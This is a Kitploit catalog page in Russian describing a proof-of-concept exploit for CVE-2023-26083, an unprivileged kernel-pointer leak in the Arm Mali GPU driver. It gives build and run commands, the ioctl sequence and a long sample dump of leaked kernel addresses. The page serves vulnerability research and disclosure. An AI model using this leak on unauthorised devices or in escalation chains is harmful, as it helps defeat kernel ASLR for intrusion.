Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-26083 — CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
Инструменты/GitHubGitHub/noverisp3/cve-2023-26083
Анализ уязвимостейЭксплуатацияСбор информацииБезопасность оборудования и IoTОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

Репозиторий
43 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-26083 – Утечка адресов ядра GPU Mali через timeline stream

Этот репозиторий содержит proof-of-concept (PoC) эксплойт для CVE-2023-26083 — уязвимости в драйвере GPU Mali (Arm Mali GPU Kernel Driver), которая позволяет непривилегированному пользователю раскрывать указатели ядра и конфиденциальную внутреннюю информацию через timeline stream (/dev/mali0).

Обзор уязвимости

Драйвер GPU Mali предоставляет функцию «timeline stream» (tlstream) для профилирования и отладки. Этот поток экспортирует события, содержащие «сырые» указатели ядра (например, адреса kbase_context, kbase_gpu, kbase_lpu, адресных пространств, атомов и т.д.). В обычных условиях доступ к этому потоку должен требовать флаг BASE_CONTEXT_CREATE_FLAG_MONITOR. Однако из-за отсутствующей проверки прав в обработчике KBASE_IOCTL_TLSTREAM_ACQUIRE любой процесс (даже без флага монитора) может получить файловый дескриптор timeline stream и читать адреса памяти ядра.

Воздействие:

  • Утечка указателей ядра нейтрализует ASLR ядра (KASLR).
  • В сочетании с другими уязвимостями (например, use-after-free, произвольная запись) это может привести к повышению привилегий или произвольному выполнению кода в ядре.
Скачать инструмент
  • Сама утечка раскрывает внутреннее состояние драйвера и может использоваться для снятия отпечатков (fingerprinting).
  • Затронутые версии

    • Версии Arm Mali GPU Kernel Driver до исправления CVE-2023-26083.

    Сборка и запуск

    Предварительные требования

    • Устройство с GPU Mali (например, Exynos, MediaTek, некоторые SoC Rockchip).
    • Права root не требуются — PoC работает от непривилегированного пользователя.
    • Ядро должно содержать драйвер Mali, встроенный или в виде модуля (должен существовать /dev/mali0).

    Компиляция

    Поскольку код является самодостаточным и автономным, вы можете легко кросс-компилировать его с помощью стандартных инструментов.

    1. Для Android (рекомендуется)

    Используйте тулчейн Android NDK для компиляции под устройства ARM64. Настоятельно рекомендуется использовать статическую компоновку, чтобы избежать проблем совместимости с динамическим компоновщиком на разных версиях Android:

    root@kitploit:~
    aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c
    

    2. Для ARM-устройств/плат с Linux

    Если вы тестируете на ARM-плате разработчика (например, Raspberry Pi или Odroid) с GPU Mali и стандартным дистрибутивом Linux:

    root@kitploit:~
    gcc -static -o mali_tlstream_leak mali_tlstream_leak.c
    

    Запуск

    root@kitploit:~
    ./mali_tlstream_leak
    

    Программа выполнит следующие действия:

    1. Откроет /dev/mali0.
    2. Выполнит проверку версии.
    3. Установит флаги в BASE_CONTEXT_CREATE_FLAG_NONE (без привилегии монитора).
    4. Получит timeline stream (уязвимый ioctl).
    5. Будет читать пакеты timeline в течение нескольких секунд.
    6. Разберёт и отобразит утечки указателей ядра (отмечены как *** KERNEL).

    Пример вывода

    Примечание: Данный Proof-of-Concept (PoC) был протестирован только на Samsung Galaxy J7 Prime под управлением Android 8.1.0 (ядро 3.18) с уровнем безопасности от 1 апреля 2020 года.

    root@kitploit:~
    on7xelte:/data/local/tmp $ ./mali_tlstream_leak
    Version: major=11 minor=5
    SET_FLAGS ok
    TLSTREAM_ACQUIRE ok, tlfd=4
    Read 3805 bytes from tlstream (total=3805)
    
    Raw hex dump (3805 bytes):
    
    0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
    0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
    0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
    0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
    0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
    0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
    0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
    0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
    0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
    0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
    00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
    00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
    00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
    00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
    00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
    00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
    0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
    0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
    0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
    0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
    0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
    0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
    0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
    0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
    0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
    0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
    01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
    01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
    01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
    01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
    01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
    01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54
    
    Parsing packets:
    
    Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
    
    Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
      [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
      [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
      [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
      [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
      [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
      [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
      [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
      [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
      [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
      [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
      [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
      [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
      [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
      [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
      [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
      [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
      [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
      [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
      [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
      [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
      [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
      [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
      [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
      [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
      [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
      [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613
    

    Как показано выше, PoC успешно раскрывает несколько адресов ядра:

    • Объекты LPU (Logic Processing Unit)
    • Объекты адресного пространства (AS)
    • Объект GPU
    • Объекты контекста (kbase_context)

    Объяснение кода

    Ключевые шаги:

    1. Открытие /dev/mali0 – стандартный интерфейс устройства Mali.
    2. KBASE_IOCTL_VERSION_CHECK – требуется для инициализации контекста драйвера.
    3. KBASE_IOCTL_SET_FLAGS – устанавливает create_flags в BASE_CONTEXT_CREATE_FLAG_NONE (без привилегии монитора).
      Обычно это должно блокировать доступ к tlstream, но ошибка позволяет обойти.
    4. KBASE_IOCTL_TLSTREAM_ACQUIRE – получает новый файловый дескриптор для timeline stream.
      Несмотря на отсутствие флага монитора, ioctl возвращает корректный fd.
    5. read() – читает «сырые» пакеты timeline.
    6. Парсер – декодирует заголовок пакета и сообщения событий timeline, извлекая указатели ядра.

    Смягчение / Патч

    Обновите ядро до версии, содержащей исправление CVE-2023-26083.
    В качестве альтернативы, если вы производитель, примените патч от Arm или из стабильной ветки ядра Linux.

    Отказ от ответственности

    Этот код предоставлен только в образовательных целях и для исследований в области безопасности.
    Использование этого эксплойта на системах без явного разрешения может нарушать действующее законодательство. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением. Используйте его только на устройствах, которыми вы владеете или на тестирование которых у вас есть письменное разрешение.

    Ссылки

    • CVE-2023-26083
    • NIST NVD - CVE-2023-26083

    Автор

    Noveris